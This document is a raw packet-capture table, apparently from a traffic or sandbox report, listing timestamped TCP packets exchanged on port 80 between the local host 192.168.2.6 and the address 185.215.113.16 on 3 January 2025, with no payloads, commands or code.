Jan 3, 2025 15:21:24.797763109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.797769070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797781944 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.797784090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797799110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797811031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797812939 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.797830105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797849894 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.797871113 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.797925949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797940016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797950029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797960997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797971964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.797980070 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.797983885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798002958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.798018932 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.798096895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798109055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798119068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798130989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798142910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798146009 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.798155069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798166990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798181057 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.798187017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798198938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798227072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.798227072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.798268080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798281908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798296928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798310041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798310041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.798325062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.798331022 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.798383951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.830626011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830665112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830677032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830688000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830718994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.830723047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830734968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830746889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830758095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830764055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.830770016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830780029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830781937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.830794096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830802917 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.830806971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830818892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.830822945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830837011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830852032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830863953 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.830864906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.830868959 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.830903053 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.831160069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831204891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831219912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831238031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.831262112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831276894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831321001 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.831310987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831351042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831373930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831384897 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.831391096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831404924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831406116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.831418991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831435919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831438065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.831449032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831501961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.831517935 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.831541061 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.853240013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853342056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853355885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853372097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853385925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853399992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853403091 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.853414059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853426933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853454113 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.853472948 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.853491068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853504896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853519917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853530884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853538036 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.853545904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853559971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853569031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.853574038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853588104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.853600025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.853625059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.875164986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.887440920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887473106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887487888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887502909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887531042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887537956 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.887577057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887582064 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.887593985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887612104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.887615919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887650967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.887651920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887665987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887680054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887692928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887706041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887713909 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.887721062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887734890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887741089 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.887752056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.887757063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.887784004 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888134956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888175964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888189077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888209105 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888226032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888253927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888264894 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888276100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888292074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888318062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888324022 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888345957 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888354063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888370991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888397932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888411999 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888418913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888433933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888464928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888474941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888482094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888497114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888494968 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888511896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888529062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888547897 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888571978 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888571978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888595104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888609886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888632059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888644934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888659954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888691902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888695002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888715029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888727903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888731003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888746023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888761044 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888782024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888797998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888832092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888835907 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888847113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888864040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888870955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888916016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888930082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888942957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888948917 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888957024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888972044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888974905 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.888987064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.888989925 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889023066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889029980 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889039993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889066935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889072895 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889101028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889123917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889137030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889152050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889157057 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889169931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889178991 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889182091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889195919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889210939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889214993 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889225960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889236927 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889240980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889262915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889306068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889321089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889334917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889337063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889348984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889363050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889370918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889377117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889391899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889394045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889405966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889420033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889431000 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.889436007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.889456034 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.921588898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921639919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921683073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921689987 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.921719074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921730995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.921735048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921749115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921765089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921768904 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.921777964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921792030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921801090 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.921807051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921827078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921828032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.921840906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921854973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921866894 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.921869040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921883106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921890020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.921896935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921911001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.921915054 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.921948910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.922106981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922127962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922143936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922156096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922156096 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.922173977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922192097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922194958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.922216892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922218084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.922240019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922261953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922275066 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.922288895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922312021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922323942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922338009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922342062 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.922353029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922365904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922372103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.922380924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922385931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.922396898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922411919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.922415972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.922440052 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.944211960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944230080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944247961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944271088 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.944334030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944346905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944360018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944372892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944380045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.944406986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.944457054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944469929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944482088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944497108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944498062 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.944510937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944520950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944525003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.944535017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944545984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.944551945 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.944566965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.978429079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978442907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978452921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978490114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978502035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978502989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.978513002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978526115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978550911 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.978569984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.978574991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978585005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978626966 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.978682041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978694916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978703022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978713989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978730917 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.978730917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978743076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.978760004 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.978775024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.979213953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979223967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979257107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.979300022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979310989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979347944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979360104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979371071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979382992 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.979397058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979407072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.979408979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979424953 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.979434967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979445934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979456902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979465961 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.979470015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.979480982 CET	80	49829	185.215.113.16	192.168.2.6
